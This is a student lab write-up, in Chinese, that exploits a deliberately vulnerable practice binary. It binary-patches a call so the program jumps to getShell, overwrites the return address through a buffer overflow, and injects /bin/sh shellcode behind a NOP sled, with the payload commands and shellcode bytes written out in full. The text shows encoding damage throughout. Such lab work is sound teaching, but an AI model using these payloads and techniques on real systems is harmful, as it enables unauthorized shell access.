Exp1 PC平台逆向破解 20164309 欧阳彧骁

 

 

 

1、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。linux

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell

该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。编程

 

三个实践内容以下:缓存

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。sass

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。安全

注入一个本身制做的shellcode并运行这段shellcode。网络

 

这几种思路,基本表明现实状况中的攻击目标:函数

运行本来不可访问的代码片断学习

强行修改程序执行流spa

以及注入运行任意代码。

 

2、基础知识:

1.经过结合计算机组成原理以及查阅相关资料,咱们知道了NOP, JNE, JE, JMP, CMP等经常使用汇编指令的机器码:

NOP:一个空指令,什么都不作,让cpu等待一段时间,而且该指令会自动对齐寻址。机器码为0x90;

JNE:一个条件转移指令,当零标志z=0时跳转至标号,z=1时顺序执行下一条指令。机器码为0x75;

JE:一个条件转移指令,当零标志z=1时跳转至标号,z=0时顺序执行下一条指令。机器码为0x74;

JMP:无条件转移指令。段内直接近转移Jmp near,机器码为0xe9; 段内间接转移Jmp word,机器码为0xff;段内直接短转Jmp short,机器码为0xeb; 段间直接(远)转移Jmp far,机器码为0xea;

CMP:比较指令,执行减法操做但不保存运算结果。

 

2.掌握反汇编与十六进制编程器

经过查阅资料咱们能够知道:

objdump反汇编命令:

objdump -f test     //显示test的文件头信息

objdump -d test    //反汇编test中的须要执行指令的那些section

objdump -D test    //与-d相似,但反汇编test中的全部section

objdump -h test    //显示test的Section Header信息

objdump -x test    //显示test的所有Header信息

objdump -s test    //除了显示test的所有Header信息,还显示他们对应的十六进制文件代码   

 

 

xxd命令:

用vi命令打开一个文件,在vi命令模式下输入

:%!xxd            //回车后,该文件会以十六进制形式显示

:%!xxd -r         //参数-r是指将当前的十六进制转换为二进制

 

3、实践内容

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

设置共享文件夹将pwn1文件导入主目录后并修改文件名为20164309,输入:

objdump -d 20164309 | more

获得反汇编代码:

继续下拉,找到getshell、foo与main函数:

 

由主函数咱们能够看出main函数调用foo,相应的机器指令为“e8 d7ffffff”,其中“e8”为跳转的意思。原本正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行“EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,即为目标地址偏移量,41=0x29,80484ba+d7ffffff= 80484ba-0x29正好是8048491这个值,即为跳转的目标地址。那咱们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。用Windows计算器,直接47d-4ba就能获得补码,是c3ffffff。注意计算时是小端模式低字节优先。

 修改可执行文件,将call指令的目标地址由d7ffffff变为c3ffffff。

 

进入到文件的vi模式,输入:

Vim 20164309

 

按esc键退出,输入:

 

:%!xxd

以查看其十六进制

 

输入:

/e8 d7

找到目标代码 在000004b0

 

 

记录目标位置在000004b0这行,找到目标,将光标移至d,按r键后修改成c,同理修改7为3:

 

输入:

:%!xxd -r

转换16进制为原格式

 

输入:

:wq

存盘退出

 

对文件再次进行反汇编,找到主函数中以前调用foo的位置,发现call指令已经改成调用getshell了

 

运行后发现能够调用shell

 

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

进行反汇编

 

咱们能够利用foo函数中的Buffer overflow漏洞,形成缓冲区溢出,来覆盖返回地址为主函数中的80484ba,从而调用getshell函数。

 

 2.1确认输入字符串哪几个字符会覆盖到返回地址

输入:

gdb 20164309-2

再输入r指令执行程序,咱们能够尝试着输入一段字符串1111111122222222333333334444444412345678共40个字符

 

再输入info r查看寄存器信息发现正是以前0x34333231,即为4321的ASCII码,根据老师上课所讲的知识能够知道Linux地址是由高到低的,说明覆盖成功,以后的操做将其修改成getshell地址就能返回运行到getshell了。

因为是第32为以后的覆盖成功,能因而可知缓存区32个字节。

 

2.2构造输入字符串

因为小端模式咱们将地址倒过来输入便可:(原为0804847d改成7d840408)

11111111222222223333333344444444\x7d\x84\x04\x08

再以后加一个\x0a表示回车就构造完成了。

输入:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

 

将input的输入,经过管道符“|”,做为20164309-2的输入,便可攻击成功

(cat input; cat) | ./20164309-2

 

 3.注入一个本身制做的shellcode并运行这段shellcode

 

 3.1准备一段shellcode

使用\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

这段机器指令,获取一个交互式的shell

 

3.2下载execstack,使用期关闭地址随机化,减小实验难度(0为关闭,2为开启)

 

 3.3构造注入须要的payload

采用retaddr+nop+shellcode结构进行构造(nop一为是了填充,二是做为“着陆区/滑行区”。咱们猜的返回地址只要落在任何一个nop上,天然会滑到咱们的shellcode。):

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

 

\x4\x3\x2\x1是未来要存放覆盖RET地址的位置。

 3.4进行攻击

输入以前构造的代码

 

同时开启另外一个终端来调试进程

输入:

ps -ef | grep 20164309-3

 

启动gdb调试这个进程

attach 35781

 

 

经过设置断点,来查看注入buf的内存地址

经过disassemble foo进行反汇编以设置断点

输入

break *0x080484ae

 

再输入

info r esp

对esp语句进行查找

 

咱们能够看到0xffffd30内容被覆盖为了1234,咱们须要将以后的90909090覆盖,则日后移四位地址,则目标地址为:0xffffd310

由此咱们能够从新构造攻击代码:

perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

攻击成功!

 

 

 4、实验收获与感想

1.实验收获

这是我第一次进行网络对抗技术的实验,深感本身的基本功不够扎实,课后花了加倍的时间才把老师上课早已讲清楚的步骤和知识点弄懂。

在进行“注入一个本身制做的shellcode并运行这段shellcode”这项实验时,我由于弄不清楚原理照着实验指导照猫画虎致使了屡次失败,幸好在实践中搞明白了一开始的那一段攻击代码是中的起始的1234是存放覆盖ret地址的位置,在让我明白了第一次构造是尝试,第二次才是动真格的。

总之,这次实验不只让我感觉到Linux基本功还不够扎实,更表现了我动手能力的不足,但愿在从此的九次实验中,我可以收获知识与实践能力。

 

2.什么是漏洞?漏洞有什么危害?

漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,也就是咱们所说的“bug”。就像本次实验中利用foo函数的Bof漏洞,即是程序代码存在必定的漏洞。

这些漏洞大多都是无心中被创造的,因为设计时不够严谨致使一些问题,甚至有些漏洞被不怀好意之人因此利用,它在咱们的平常生活中时常有体现:木马蠕虫在网络上大行其道,破坏人们的信息、财产安全,甚至给企业政府形成难以挽回的损失。

相关文章
相关标签/搜索